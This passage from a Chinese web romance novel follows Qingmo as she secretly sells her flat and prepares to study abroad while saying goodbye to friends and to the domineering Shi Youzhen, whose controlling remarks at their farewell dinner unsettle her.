施友臻今天好像格外闲,确实是度假的样子,去换好家居服,问清茉中午想吃什么,清茉刚吃饱了冰激凌,现在不想吃,过一会倒是想跟六六吃她家小区门口的麻辣烫,忌口不能加辣,但是多加麻酱汁。 清茉觉得自己也确实有几分狠心,一个有施友臻的世界,一个没有施友臻的世界,她分割得明明白白,一刻沉迷,一刻抽离。 清茉瞧着在调音响的施友臻,走神地想着,该说不说,她哥身材是真的好,出国之前万一哪天擦枪走火,她也不吃亏吧,平权的第一步,就是不能有“吃亏”的念头,不过好像也是悖论,施友臻又不能怀孕生孩子,林林总总算下来,还是女人沉没成本高。 门铃响,施友臻以为是裴医生,过去开门,看到是六六,六六生疏不自在地跟施友臻打招呼,说着:“施总您好,我来接茉茉回家。” 施友臻抱着胳膊站在门口,脸色不愉,清茉跟六六笑着打招呼,说着:“这么快,等我一下,我去披件衣服,我哥买的冰激凌,你先吃一会,我马上就好。” 施友臻尾随清茉进了卧室,问着:“先斩后奏?” 清茉央求道:“哥,我在这里睡不好,让我回家休息几天嘛。” 施友臻:“年后陪我旅行。” 清茉不管不顾,先应了,说着:“好好好。” 施友臻好像仍旧没有想放她走的意思,拉住清茉手腕,让她坐在自己腿上,扶着清茉的腰亲吻了一会,清茉被他引导训练地已经不会憋气到窒息了,但是仍旧是生涩又被动,长吻结束的时候,清茉又低头亲了下施友臻的下巴,像一直讨好主人的小猫咪。 施友臻被她讨好的模样搅动得心里柔软,就决定暂时先放她回家,到底是担心清茉休息不好,给她几天自由时间让她好好恢复。 六六吃完施总的冰激凌,忐忑地坐在客厅,过了好一会清茉才出来,六六松口气,赶紧站起来,施友臻牵着清茉的手,有股子宣誓主权的意味,六六莫名其妙,寻思着自己是不是上了施总黑名单,清茉俏皮地冲六六眨眼,六六了解她,觉得茉茉肯定耍什么心眼呢。 施友臻送到楼下,说着:“晚上我带裴医生去换药。” 清茉:“哦,好吧,但是六六晚上住我家照顾我。” 施友臻瞥了眼六六,六六目视前方噤声。 开车驶出去狮麟别苑的时候,六六问着:“我还以为你要在施总这里踏实住着呢?” 清茉笑着说道:“六,我收到留学教授的同意函了,超级开心!”她放下车窗,朝着窗外大声喊道:“我要留学去了!啊啊啊啊啊啊啊啊啊啊啊啊!” 六六被她的快乐感动,说着:“你就是做什么都会成功!太好了!晚上给你庆祝!” 清茉说着:“所以进度好像比想象的快,我在哥家待不住了,喊你来帮我干点活。” 六六问着:“我老六反正就是你的奴才命,说吧小主儿,干啥。” 清茉:“帮我收拾收拾房子,该扔扔该卖卖。” 六六:“也是,房子得租出去。” 清茉:“不准备租了,想直接卖掉。” 六六:“?!” 第47章 第四十七章 降价,急售,全款。 …… 降价, 急售,全款。 清茉跟中介咨询过,她这个小区也在降价, 不是售卖的好时机,房子买高不买低,估计不容易出手。不过因为附近有好学校, 对学区房刚需的家庭还是会考虑,至于能不能尽快售出, 也得看天时地利人和了。 六六没想到清茉会把房子也卖掉, 清茉之前说“也许就不会回来”, 六六并没有完全当真, 现在清茉把房子也卖了, 算是把在这个城市安身立命积攒的根基处理了,好像真的是不打算回来了。 六六心里空落,岁月并不能积攒下更多的至交好友, 反而会越散越少, 她问清茉:“真的决定了?” 清茉解释着:“虽然能拿到奖学金,单独学业其实花不了太多钱, 但是配套的费用太贵了, 房子不卖的话, 还有月供压力,对于我来说太负担了, 我没有能力偿还。干脆就卖掉吧, 换成留学资金,手里有钱,心里不慌,以后赚了钱再置办呗。” 一路上闲聊着回了家, 六六有段时间没来清茉家里了,进门瞧着玄关处的男士衣物鞋子,还有搁置架上名贵的腕表,六六问着: “好割裂啊茉茉,你刚说完卖房子,你知道你哥放在这里的表多少钱吗?这几块我没走眼的话,搞不好是有市无价的那种,你们的关系好诡异,到底玩的什么方式?很高级吗?我都要分裂了。真的,施总的身价,就算分手费,也不至于吝啬,茉啊,咱要清高到底呗。” 清茉笑道:“对,人设得立住,不能让他的铜臭污染我。” 六六观察完腕表,都没敢用手去碰,问清茉:“你跟你哥,准备怎么说,我看他的意思,你们是在恋爱吧,他不资助一下吗?他知道你很快就要走了吧?” 六六一说腕表,提醒了清茉,她赶紧去找了个收纳盒,把施友臻的几块腕表小心收进去,说着:“不是说过嘛,他不在我未来的规划中,说高攀不起不是玩笑话,我出去就是想一键删除,包括他。” 六六困惑,清茉干脆言简意赅道:“就当我甩了他,得不到才刻骨铭心,给他留个念儿想呗。” 六六缓缓竖起大拇哥,但是有些遗憾地说着:“感觉你们彼此挺喜欢啊,你俩在一起的时候,跟别人有壁,你们俩小宇宙很融合你懂我的意思吗?感觉挺好的,他是那种乱搞的人吗?茉茉,你怕他不能从一而终?” 清茉半真半假调侃着:“我怕我不能从一而终。老六啊,也不是不喜欢,就是我觉得爱情对于目前阶段来说,不是刚需啊。我空虚的是失业、无所事事、只能陪着男人兜兜转转,就很无聊啊,你觉得这样一直过下去有意思吗?我觉得好无趣。” 六六点头:“也对,但是不能兼顾吗?一定要斩草除根吗?” 清茉喜欢六六“斩草除根”的修辞,笑道:“纠缠下去没意思,万一走到撕破脸怨怼彼此的那一步,我会更伤心。我哥人品很正,人也不错,可以给他发个好人卡留作纪念,所以,老六,我申请的国家、学校,我谁也不告诉,你我也不会告诉,万一哪天你被我哥抓起来严刑逼供,你也供不出来。” 老六:“……这么狠的吗茉茉?我是你们PLAY中的一环是吧,不能只做安静的NPC吗?怎么还得上刑?” 清茉直乐,绕着屋子走一圈,说着:“你看看有能用的就拿走,能转卖的搬到你那里去卖一下,家具、电器,我网上找收二手的打包卖了。” 六六:“行,我帮你挑挑,尽量搬我那里,我帮你慢慢卖。” 清茉坐到施友臻专属沙发上,说着:“之前研究生实习,去到一个单位,办公室正好一个大姐退休,她收拾工位东西的时候我帮她,好多相册照片证件证书之类的文件,我觉得挺有纪念意义,以为大姐会很珍惜地带走收好。” “结果大姐全扔了,需要碎的,让碎纸机碎掉,不需要碎的直接当废纸扔掉了。我当时挺触动,大姐说,干到退休,以后能用到的可能也就是身份证、社保卡之类,必须保留下来的证明文件,很少,什么奖状证书啊,都没用,留作纪念也没意义,怎么纪念,天天掏出来看?扔了心里痛快。” “我真的是不理解,一直到我也要收拾东西重新出发。你看,我需要随身带着的,就是身份证,护照,学历证明之类,一个薄薄的文件夹就装完了,房子、家具、衣服、饰品、包包,全成了身外之物。” “六啊,虽然我说我哥高攀不起,他这人确实也傲慢一些,不过那句很有名的话还记得吗?穿过坟墓的时候,我们都是平等的。我不想成为他默认的那种角色,六啊,你说我会后悔吗?我收到教授同意函的时候,已经头脑发热了,很上头,现在只觉得痛快,走得痛快,卖房子也痛快,把他抛弃也痛快。” 六六安静听着清茉倾诉,她的茉茉一般不会讲这么多话。 人生重大决定的时候,茉茉好像也没有什么可以商量的人,只是在决定以后,红着眼圈轻声问着她的朋友,一个不会提出反对意见的朋友。六六也红着眼睛说道:“茉茉,你的决定,一直都是正确的,大胆去吧,没什么好后悔的。” 六六吸吸鼻子,说着:“哪怕你想明天走,不,哪怕你想今天走,就走吧,这边我都帮你弄,你卖不出去,我让丹尼先买了,反正他一天天也是乱花钱。” 清茉笑,说着:“你别老欺负丹尼,大姐大似的。” 六六使劲儿抹了抹眼睛,掏出手机说着:“不行,我得把他弄过来干活,就是见不得他闲着,我新店二层整个店面他都要过去了,我还得帮他运营,这小子贼坏。” 清茉:“好呀,晚上我给你们点好吃的,各种垃圾食品怎么样?面筋大王家出了爆辣新款。” 六六乐:“你能吃辣的吗?你哥让你吃?我感觉他是跟垃圾食品有仇的那种。” 清茉:“他吃得可健康了,没事,天高皇帝远,管不着。” 六六帮着清茉简单归置着哪些留,哪些扔,下午的时候丹尼也过来加入战场,清茉怕施友臻过来看到太明显,也没大挪动,闲置物品先扔了一波,丹尼抱怨着:“艺术家的手,是来扔垃圾的吗?” 六六怼他:“这是为了不让你彻底沦为社会垃圾。” 傍晚的时候,少衡锲而不舍地给清茉打电话,央求着:“茉茉,我就停你小区门口,你今天不让我过去看望,我就不走了。” 清茉想了想,就把门牌号给了少衡,少衡很快上楼,丹尼开的门,少衡看到陌生男人在清茉家里,一愣,六六过去招呼着:“您来了?丹尼,给客人端茶倒水。” 丹尼上下扫射施少衡,扭头进门,说着:“我也是少爷好不好,谁还不是个少爷了。” 六六踹他一脚。 清茉瞧着自己的小房子被塞得满满当当,人头攒动,热闹倒是挺热闹,就拍拍手,笑道:“来都来了,晚上一起吃个饭,就当给大家拜个早年了。” 少衡第一次来清茉家,就是这种过于热闹的氛围,有点懵,不怎么自在地坐到沙发上,总觉得这沙发在小户型里大得夸张,而且很眼熟。 少衡问清茉:“伤口怎么样了?” 清茉说着:“裴医生的药超级管用,待会你哥跟裴医生还过来换药呢,晚上想吃什么?我点外卖,年底应酬不多吗?忙的话你就去忙,我没事了,这会看到放心了吧。” 清茉露出还敷着药膏的胳膊,说着:“晚上六六睡我这里,放心吧。” 少衡去牵住清茉的手,想说什么,但是六六跟丹尼在屋里走来走去忙忙碌碌,少衡就把话咽下去没有讲什么,清茉突然说着:“对了,收拾出来张照片,送给你留作纪念。” 清茉回卧室,从书桌抽屉里拿出一个信封,递给少衡。少衡打开,看到里面一张泛黄的照片,上面是两个小孩笑嘻嘻凑在一起,他记得,是幼儿园毕业典礼上拍的照片,他穿着儿童版小西装,清茉穿着白纱裙,戴着亮晶晶的公主王冠。 这些物件,清茉是不打算带走了,但要全部都扔掉,终究有些不忍。其实几经奔波辗转,还留在身边已经是奇迹了,再留已经是徒劳。就把其中一张送给了少衡,作为有始有终的纪念品,至于少衡怎么保存,就无所谓了。 少衡仔细端详着照片,放在边桌上拍了下来,摆弄了会手机,说着:“拍的真好,我换成头像了。” 清茉:“……”那倒也不必吧。 少衡给清茉展示了一番,丹尼在一旁打断,嚷嚷道:“饿,好饿,晚上谁请客啊?” 少衡立马入套,说着:“我来我来,我让厨师团队过来吧。” 清茉:“我家太小了,不要!我来点吧,麻辣烫怎么样?” 少衡把清茉的手机抽走,说着:“我来安排嘛,茉茉,他俩在忙什么?一直走来走去的?眼都花了。” 清茉乐,瞎编道:“我准备重新装修呢,丹尼是设计师,给我设计风格呢。” 少衡:“嗯……茉茉,要不要去住我的大房子,我房产有很多……” 丹尼跟六六在一旁听着,一起翻白眼,清茉:“知道了少爷,委屈你了,您要不回自己大房子待着?” 施友臻带着裴医生上门给清茉换药的时候,进屋就看到了人头攒动的场景,随行的章大秘也带了两人份的晚餐,显然施友臻原计划是单独跟清茉用晚餐。 施友臻、裴医生、章大秘站在门口,瞧着过来开门的施少衡,一时间沉默。少衡倒是知道他哥要过来,迎进屋,说着:“哥,裴医生,章秘。”然后大声喊着:“茉茉!哥来了!准备换药!” 清茉走出来,六六跟丹尼也过来跟施总打招呼,施友臻一眼就看到变了模样的玄关,以及乱七八糟坐在他专属沙发上的丹尼。 施友臻专用玄关处的衣物全部不见了踪影,包括他的腕表,他专用的拖鞋。 清茉一看施友臻的眼神,就知道施友臻在想什么,趁着少衡招呼大家进屋的时候,凑到施友臻身边,小声解释着:“哥,人太多我给收到卧室了。” 施友臻丢给她一句:“你倒是热闹。” 听着就是没好气,清茉赔笑,帮施友臻拿了外套,然后去谢谢裴医生跑一趟,六六帮章大秘拿晚餐,少衡在一旁嘟囔着:“哥,你也要留下来吃饭吗?我刚让餐厅准备了四人餐,没备你的啊,你就别吃了呗。” 施友臻低头看装乖的清茉,好像识破她的小伎俩一样,只轻声对清茉说着:“晚餐就不吃了,待会我来吃夜宵。” 声音只有清茉能听到,清茉就红了耳尖,拒绝道:“六六晚上住这里。” 远远观察的六六看着她在施友臻面前的娇羞模样,心里轻叹。真的不后悔,就不会问“后不后悔”这种话,清茉可能,也是真的有些喜欢施友臻吧,喜欢,但是要舍弃,怕一个不对等的开始,走不到善始善终。 六六想,茉茉是刻意在淡化难过和离别吧,以戛然而止的方式。 一边是闯荡的勇敢,一边是爱情的怯懦。 六六想,可能,到底是爱情的勇敢,代价太高昂。 六六别过目光,眼睛酸涩,想着:猝不及防的结束,真的不会难过吗?普通人的勇敢,大概也只是有选择性的勇敢,并没有两全其美的资本和办法。 身旁的丹尼用胳膊肘捣了下六六,打断六六的伤春悲秋,直白道:“这是演得轰轰烈烈啊,啧,精彩。” 六六:“……” 裴医生在清茉卧室帮她换好药,评估道:“恢复得很好,继续注意饮食,不要熬夜,休息好。” 施友臻站在清茉床边,少衡靠在卧室门框上,兄弟俩都盯着清茉伤口换药,清茉觉得挺尴尬,搭话问着:“哥,少衡过年也得一起回老宅那边吧?” 施友臻:“嗯。” 少衡立马接了话头,滔滔不绝道:“每年都好烦,长辈见面就催婚,七大姑八大姨排着队介绍对象,超烦。对了茉茉,要不要跟我一起回去,你做我女朋友……嗯,我是说,可以先饰演我女朋友,我们家那些老头老太太你不少都见过,小时候很喜欢你,见着咱俩在一起,估计乐呵乐呵就不念叨我了。” 清茉浅笑着看了眼施友臻,问着:“你哥肯定不同意。” 少衡:“他自顾不暇好不好,我哥上次跟张嘉姐见面之后,两家长辈也单独约着一起吃饭了,过年回去估计要商量订婚,他有的忙的。” 清茉笑,说着:“哦,张嘉姐跟哥好般配,门当户对,强强联合,那提前恭喜了。” 少衡:“对啊,哥搞了联姻,我就自由些了,茉茉考虑一下,跟我回去,然后拜完年咱俩出去玩。” 清茉:“别招我了,裴医生,我是不是得静养啊。” 听了施少衡言论觉得诡异的裴医生,全程沉默,这会看了眼施友臻,说着:“嗯,还是建议静养。” 裴医生起身收拾好东西,清茉送他们出门,施友臻也没有继续停留的的意思,走到门口的时候,清茉让少衡先进屋收拾下晚饭,她单独跟施友臻讲几句话。 施友臻倒是先说了:“张嘉的事情……” 清茉打断道:“哥,你自己有数就行,不用跟我说。哥,年前约着一起吃个饭吧,就咱俩。” 门口没有其他人,难得清静片刻,施友臻倾身,亲了清茉嘴角一下,说着:“下周搬回我那边。” 清茉摇头:“不行,年前我也想收拾收拾,哥,我还想吃上次那家餐厅。” 难得清茉提出明确喜好,施友臻心头一动,软了脾气,问着:“哪家?” 清茉:“就是我堆了雪人军队的那家,在公园旁边的,不知道年前还营业不。” 施友臻点头:“好。” 清茉笑,把房门掩上,专属亲吻似的,昂头亲了下施友臻的下巴,小声说着:“那说好了,订了时间告诉我。” 施友臻虽然很想现在就把人抓到狮麟别苑去,但是瞧着她在自己家里活泼自在的样子,忍住了脾气,嘱咐道:“别闹太晚,早点休息。” 清茉笑嘻嘻送他进电梯,少衡推门出来不满嚷着:“茉茉怎么送这么长时间,饭都里凉了!他自己不会摁电梯嘛!” 清茉:“知道了,马上。”她跟施友臻挥手拜拜,看着电梯门关闭。 少衡过来牵她的手进门,清茉又回头看了眼紧闭的电梯门。 原来想着,一个快刀斩乱麻的迅速告别,会减轻心里的不舍和难过,现在看,还是想得单纯了,总有种更遗憾的感觉。 她该跟施友臻单独吃一顿饭,感谢这场短暂重逢中的赠与。不知道那天会不会下雪,好像好多次见面,都是在大雪中。 她要去的地方,降雪罕见。 第48章 第四十八章 少衡给大家点的牛排,大厨…… 少衡给大家点的牛排, 大厨师傅亲自上门摆的盘,可怜清茉小小的餐桌都没摆下,丹尼瞧着这少爷阵仗, 又是朝着六六翻了个白眼。少衡惦记着清茉不方便,帮她切割好,好像扮演亲密细心的男友, 端到清茉面前,盯着她吃, 不时问着味道怎么样。 清茉看他跟小狗似的眼眼盯着, 无语道:“Relax, 这位朋友, 你下毒了吗?” 少衡收回目光, 笑道:“感觉好久没跟你一起吃饭了。” 清茉打断他的自我感慨,说着:“没吧,前几天不是在你餐吧里一起吃过吗?哥后来过来的那次。” 少衡一恍惚, 不知道当时自己为什么约得那么轻浮, 在一个吵杂的环境中,身边乱七八糟的酒肉朋友搅和, 为什么要定在那样一个地方, 跟久别重逢的茉茉去吃一顿隔着很多年的饭。 很后悔。 他该慎重地挑选一个更加精致清幽的私密空间, 安安静静跟清茉坐在一起,听她好好讲讲这些年发生的事情。施少衡觉得自己好像错过了什么重要的节点, 茉茉看起来友好、乐观、亲密如往, 会纵容地让他牵着手,也不会拒绝拥抱,但是仅此而已了。 他抓在手里的像林清茉过去的影子,真正的清茉, 并没有什么交心的话,甚至不会将他放在一个可以信赖的朋友位置上。 去年年中,少衡因为工作失误,被施友臻狠狠批评过一次,他哥教训起来不留情面,说他浮躁、幼稚、任性,完全不能成熟地冷静思考,不能做出顾全大局的考虑和决断。少衡当时不服,回怼施友臻,说深思熟虑、顾全大局的只有施友臻一个人就够了。 他哥说得没错,他好像再一次轻浮地对待了好不容易久别重逢的茉茉。以为喜欢已经褪色,后知后觉的爱意重新萌芽,他贪恋能跟清茉好好独处,像在朗月江边那一刻一样。 他现在想抓住更多,却发现不仅隔着中间久别的岁月,还隔着清茉客气疏离的微笑,少衡觉得,自己好像又把事情搞砸了。以前他做错事情,或者被长辈们批评,还在他身边的茉茉会拍拍少衡肩膀,说着:“嗨,没事,多大点儿事儿。” 很明显,现在清茉不会了,清茉觉得他的轻浮,是一种“恶心”。分开的岁月中,他长成了清茉讨厌的一种人,清茉掷地有声地表达了她的厌恶。 少衡发现,清茉身边,其实找不到专属于他的位置了。 餐后清茉没有留少衡,催着他赶紧离开,笑着撵客道:“我累了,男士们请离场,接下来是闺蜜局。” 少衡看了眼并没有离开意思的丹尼,清茉已经帮他拿了外套,推着少衡往外走,说着:“谢谢您的晚餐!” 清茉送少衡进电梯间,也朝着他挥挥手拜拜。少衡几番欲言又止,电梯门关闭,他也没吱出个屁来。 少衡在清茉楼下,抬眼看着她的房间,心里很失落,但是好像也没有再去纠缠的立场。 清茉送走少衡,松口气,六六跟丹尼坐在沙发上品头论足,丹尼讲话直来直去,问着清茉:“我的首席模特,林首席同志,你一钓钓俩什么意思?” 清茉乐,说着:“我的设计师丹尼大师,不准看我笑话,你也是公子哥,这个圈子你最懂不是吗?不过你不走吗?我跟六六睡,没你位置哦。” 丹尼说着:“林首席,我卖你个人情吧,这房子我买了,你跟六六也别着急忙慌收拾倒卖了,我还想跟六六消停过年出去玩呢,你把她时间占了,还要拉我当苦力,很烦的,就先过户给我,后面让六六慢慢收拾,我再卖出去一样。” 清茉一愣,六六也没想到丹尼真的会这么走心当真,她刚才就是试探着跟丹尼提了一嘴,毕竟那么大的款项。清茉尴尬地冲丹尼笑了笑,心里有点堵,感谢道:“真的谢谢,不过那怎么行,别,不用。” 丹尼决定好了,拍板道:“林首席,这世界上的男人,不止有施家兄弟,还有愿意为你两肋插刀的好兄弟,哦,当然,我的出发点也主要是不想耽误老六假期,我跟她飞法国的机票都出了。” 六六:“……” 清茉咬着嘴唇坐在那里不吭声,丹尼站起来穿好外套,说着:“咱俩艺术的缘分也是缘分,等我新系列出来飞欧洲喊你拍照。周一准备好证件,我们年前走个快速过户,放假前应该赶得及。” 他原本走到了门口,但是又返回,对着六六脑门吧唧亲了一口,说着:“林首席的人情你要担哦,老六同志。” 六六:“?” 清茉:“……” 丹尼走后,六六缓了缓神,总结道:“他是跟我表白了吗?” 清茉:“……好像是吧。” 六六:“但是你俩交易买房子为什么是我要卖shen?” 清茉:“虽然……但是……话不至于此” 六六:“艺术家都是疯子。” 清茉:“六,别紧张,我没准备答应。” 六六咧嘴笑:“别,你赶紧答应了吧,当断则断,管他呢,丹尼愿意买就卖给他,放心,我中间监督着,你压价急售其实也挺亏,搁丹尼这里,我帮你跑中介,咱们慢慢卖,你就信我,也不用良心不安,我不让你吃亏,也不让丹尼吃亏。” 清茉沉默着琢磨。 六六想到要跟丹尼年假飞出去玩,琢磨了一句:“我吃亏就吃亏吧。” 清茉失笑,问着:“你不是暗恋焦叔吗?” 六六洒脱道:“焦叔要跟前妻复婚了,我掺和就是不道德了,还不如吃了小白脸丹尼。” 清茉:“……” 很复杂的事情,被丹尼轻飘飘的解决掉,荒诞感拉满,清茉靠在六六身上,感慨着:“好疯狂。” 六六拢着清茉的肩膀,说着:“这笔中介费给我好好记住。” 工作日第一天上午,丹尼真的来跟清茉办理过户,走全款,算了算日子,全部流程走完,正好卡到年前最后一个工作日,丹尼不放心,还托了朋友帮忙盯着点,应该是没什么问题了。 中午跟六六、丹尼一起吃午饭,清茉把自己订好的日子告诉了大家。 航班的时间是除夕凌晨,抵达的时候就是农历新年了。 第49章 第四十九章 清茉年前这两周的时间,像…… 清茉年前这两周的时间, 像点了快进键,紧密安排着各种手续,紧锣密鼓的时间里, 将清茉过往的岁月压出了一个缩影,值得告别的朋友们都已经好好告别,卖掉的房产算是她打拼下的全部资产, 随身文件袋中的各种证明文件,就是她走过人生路的全部。 清理文件的时候, 清茉把施友臻跟她签订的那份资助协议单独留了出来, 也犹豫着要不要留作纪念, 还有施友臻给她亲自做的留学建议指导书, 两份文件厚厚的一沓, 清茉犹豫了好长一会,还是碎掉了。 比起金钱物质,甚至比起这段短暂暧昧的感情, 施友臻给予的善意和重新思考人生的机会, 更加宝贵。施家大哥以为她误入歧途,想拉她一把, 甚至并不介意她的身份, 会亲吻她。 清茉看着手上的协议, 兀自失笑,这么一看, 呵, 施家大哥还真是响当当的好人。 清茉把协议上施友臻的签名仔仔细细剪了下来,他的签字跟他人一样,力透纸背中毫不遮掩霸道气场,施家大哥好人归好人, 城府太深沉,吃人不眨眼,清茉有自知之明,她玩不转的。 小小的纸片放哪里都轻飘飘,清茉把签名纸片装到放饰品的小玻璃纸袋里,然后又装到了钱包中的夹层中。把碎掉的资助协议和留学建议收进垃圾桶,有种翻篇的实感,也有种碎掉施家大哥心意的内疚心虚感。 年前施友臻应该非常忙,裴医生单独过来复诊了几次,听少衡提了句知道清茉是模特,裴医生给出了几个医美方案,让清茉跟施友臻商量一下,他去准备后续的治疗。清茉谢过,年前最后一次上门看诊的时候,清茉还送给裴医生一份小礼物。 一盒漂亮的曲奇饼干。她从网上刷到烘焙博主,做出来的实在漂亮,就在家也动手做了一批,把饼干做成很多可可爱爱的造型,清茉选了森林主题,里面有刺猬、松鼠、枫叶、榛子、狗熊,很可爱,抹茶色跟焦糖色烤出来都很漂亮。 给棕熊戴了喜庆的红色糖霜帽子,有点像圣诞节,做饼干的时候清茉走了神,从圣诞节到春节,其实时间很短暂,怎么感觉像过了很久很久。 过年还是要有仪式感的,她把烤好的饼干分装,又添置了些巧克力、糖果,用喜庆红色的手提袋装好,施友臻过来接她的时候,清茉拎着一袋上车,递给施友臻,笑得眼睛亮晶晶,说着:“哥,新年礼物!超好吃的曲奇饼干!我自己做的。” 施友臻飞了趟外地,有两天没有见清茉,裴医生每天都会专门汇报清茉的恢复情况,现在看她穿着齐整出门,伤口应该是没有大碍了。施友臻没着急启动车子,先捞过清茉,细细密密地亲吻一遭,看她仍旧青涩地目光躲闪,愈发觉得心痒。 施友臻并没有催要清茉家的密码,也没催促她搬到狮麟别苑,因为觉得来日方长。适度的空间和距离,对于长期关系的维系利大于弊,他年末也确实繁忙,为压缩出年后跟清茉的度假时间,年前都在赶行程。 但是这几日不见,心里确实不舒服,有所惦念的感觉很陌生,施友臻觉得是时候确定一个稳定的关系了,虽然他乐于在博弈中去逼一逼清茉让她先开口,明确说出来想要什么,还有为什么想要。 他的小女孩很聪慧,大概也察觉到了他的故意,试探过一次后,也示威似的没有敞开心扉,不会拒绝拥抱和亲吻,也没有主动表白。 施友臻决定年后带清茉外出度假的时候,确定关系,身份的,身体的,他都要,亲吻已经是饮鸩止渴,他想要清茉。 清茉怀中还抱着送给施友臻的新年礼物,被亲吻得恍恍惚惚,印着新年福字的红色纸袋攥在怀中变得皱皱巴巴,清茉白皙的指节衬在艳红的袋子上,很刺激感官。施友臻牵过清茉的手,在手背上亲吻了一下。 餐厅老板还是像上次一样,早早迎来门口,清茉跟他打招呼,施友臻握着清茉的手往里走。 清茉已经不再像小时候那样直白明确地强调喜好,难得她有喜欢的餐厅,施友臻今天特意订了些菜品,有上次清茉爱吃的,也有新添的。 落地窗外跟那天一样,也是夕阳余晖将沉,不过积雪已经化尽,草地还在等待春天,一群麻雀呼啦飞到草地上,又一阵风卷过似的,集体起飞落到旁边树林中。 清茉喜欢这个园林院落,开阔又安静,她听着老板报晚上的佳肴,笑道:“哥,怎么备了这么多,咱们就俩人,这么多菜品该喊六六他们一起来。” 施友臻:“少来,你是故意让她一直住你家吧,怕什么?” 清茉嘿嘿干笑两声,吃着老板熬的山楂冻开胃,这两天清汤寡水养伤,确实想好好吃一顿,问着:“哥,我能吃个辣一点的菜吗?” 施友臻发现清茉特别喜欢用问句,跟他讲话的时候,爱用“好不好”“行不行”“可以吗?”“行吗?”,挠得人心中又软又痒,底线一再动摇,他突然有点不想等年后了,今晚就想把人办了,让清茉完完全全成为他的。 施友臻应允,老板给添了两个辛辣的菜品,清茉开心得整个人更加明媚。她今天为了晚上的约会,没有随意地穿卫衣牛仔裤,很正式地穿了裙装,妆容也精致,很温柔的明艳。 清茉软声软语地跟施友臻聊天,问着:“哥,听裴医生说你年底特别忙。” 施友臻给清茉布菜,不满道:“为什么要听别人讲,不会主动打电话吗?” 清茉赔笑:“怕打扰你工作嘛。” 施友臻看她贪辣,给她面前换了菜,管理道:“解解馋就好,不要吃多了。” 施友臻提点清茉,问她:“没什么话对我讲吗?马上过年,做错的及时承认,可以不计较,除旧迎新。” 清茉一怔,几分心虚,好像对施友臻的谎言有点多,而且都是重量级,坦白是绝对不可能坦白的,清茉干脆问着:“哥,你觉得,爱慕跟爱情之间,差距多大?” 施友臻抬眼看她,眼神里有种“你尽管扯”的质疑,清茉心虚地轻轻嗓子,说道:“哥,我觉得,爱慕吧,只是一种有距离的欣赏,比如说,我很爱慕您,其中慕强的成分,能占个百分之九十吧,您实在太优秀了。” 施友臻盯着清茉,目光迥然,严肃道:“什么意思?” 清茉总结:“就是我觉得,咱俩的关系基于我的慕强心理,至于是不是男女那种感情,还需要慎重思考。” 施友臻简直被她讲得笑了下,问清茉:“你随便到可以轻易跟仰慕的人亲吻吗?” 清茉摇头:“哥,你太特殊了,你去问一百个女性,一百零一个估计都会同意跟你亲吻,我只是很普通的一个。” 施友臻已经没有心情进行晚餐,他问:“所以,你想说什么?” 清茉心里轻叹,说着:“我不知道哥你想要什么,就是觉得心里没底,感觉咱俩关系并没有深刻升华到非你不可的地步。” 施友臻手指点了点桌面,提醒清茉注意重点,沉声道: “我理解你想把握亲密关系中主动权的野心,但是抱歉,我不想让渡这个权力。清茉,第一次拥抱你主动靠过来,第一次亲吻你没有拒绝,就已经看作是认同关系发生了,现在再讲什么慕强的话,很幼稚,我不能认同,你也不能单方面退出。” 清茉试探着追问:“怎么就不能单方面退出了?结婚都能离婚,这不都是你情我愿的事情吗?” 施友臻:“清茉,社会就是这样,你不能否认我的实力确实可以单方面碾压,我不同意的话,你根本没有办法退出,你可以尽管往性质恶劣的方面想象。” 清茉软了语气,说着:“哥,文明探讨嘛,咱不搞墙纸那一套,都是你情我愿的事情,我这不是跟您探讨嘛,我就是觉得,嗯……有点分不清,怕感情不对等拖您后腿。” 施友臻重新给清茉布菜,恩威并施似的也缓和了语气,说着:“分不清就跟着内心的感觉走,不讨厌不拒绝,就是喜欢。” 清茉:“……” 可是,不是谁都有跟着感觉走的资本。 施友臻看清茉心事重重的样子,到底还是再次心软,说着:“重新见面之后,确实相处的时间不够长,年后度假回来,你跟我搬到一起住,想住狮麟别苑吗?市中心或者郊区也可以,我带你逛逛,挑一处喜欢的。” 清茉笑:“这就同居了吗?” 施友臻:“嗯,不是觉得缺少接触吗?” 清茉:“哥,你刚才有点吓人。” 施友臻坐到清茉旁边,把人捞到腿上,他太喜欢让清茉面对面跨坐在他大腿上,他圈着清茉腰肢,捉在怀中亲吻,哄着:“乖一点,想要什么我都可以给。” 清茉问着:“多乖算乖?” 施友臻:“听话就算。” 清茉:“哥,你也是俗人。” 施友臻知道清茉指的是什么,坦然道:“男人对女人天生会有占有的Y望,这种Y望会衍生出很多情绪,正面的,负面的,都是人之常情,人类繁衍就是这么俗之又俗地一代代过来了。” 清茉打断:“哥,你是要临时起意给我上人类历史学吗,咱们提繁衍的事儿就扯远了吧。” 施友臻探手按压清茉柔软平坦的小腹,淡定说着:“顺其自然。” 清茉:“?!” 第50章 第五十章 施友臻的手突然抵按清茉小腹…… 施友臻的手突然抵按清茉小腹, 清茉受惊,有种疼痛的错觉,清茉突然想到, 施友臻会不会强硬到根本不接受安全措施,一想,更惊慌, 要从他腿上下来,施友臻不放, 仍旧是拥在怀中细细亲吻一番, 玩味地看着清茉虚软发抖。 施友臻问她:“确定没有别的要跟我交代?” 已经进入离开倒计时阶段的清茉当然嘴硬到底, 说着:“哥, 先放我下来好不好, 服务员会进来。” 施友臻以为清茉要交代,很好奇她怎么应答,就松开清茉, 让她坐回位置, 结果听道清茉说着:“哥,我还有攒下的拍摄, 前两天受伤没拍, 现在要补上, 估计要赶工,年前您忙您的?” 言下之意是让施友臻不用再找时间约她了, 施友臻盯着清茉, 若有所思地点头,决定就将大年初一定为清算日,说着:“好,放你再逍遥几天。” 既然清茉到现在也不坦白, 那就由他来秋后算总帐。施友臻厌恶一切不择手段的欺骗和谎言,但是愿意把容错度给予清茉,权当情Qu,等同居后,他可有太多办法去让清茉付出代价,欺负欺负她,应该很有趣。 餐厅已经是春节的氛围,室内室外都是节庆的装潢,老板贴心地准备了精致的点心礼盒,临走的时候送给清茉,清茉礼貌谢过,老板客气说着:“承蒙您喜欢,想吃什么随时过来,有空来喝喝茶逛逛公园。” 因为是陪在施友臻身边,这种礼遇让清茉想起她在行政上班的时候,哪有什么机会坐主位,她都是频繁起身端茶倒水的那个,为了订上好一点的包间跟餐厅经理求爷爷告奶奶陪着笑脸。 从原有底层跌落一夜之间就发生了,但是再想跨越阶层,好像依附施友臻,是上天馈赠的机会和捷径。 但是跨越了之后呢?当一只圈养的金丝雀?每天每晚等着男人,争宠善妒战战兢兢守着他?好像也是一眼可以望到底的日子。 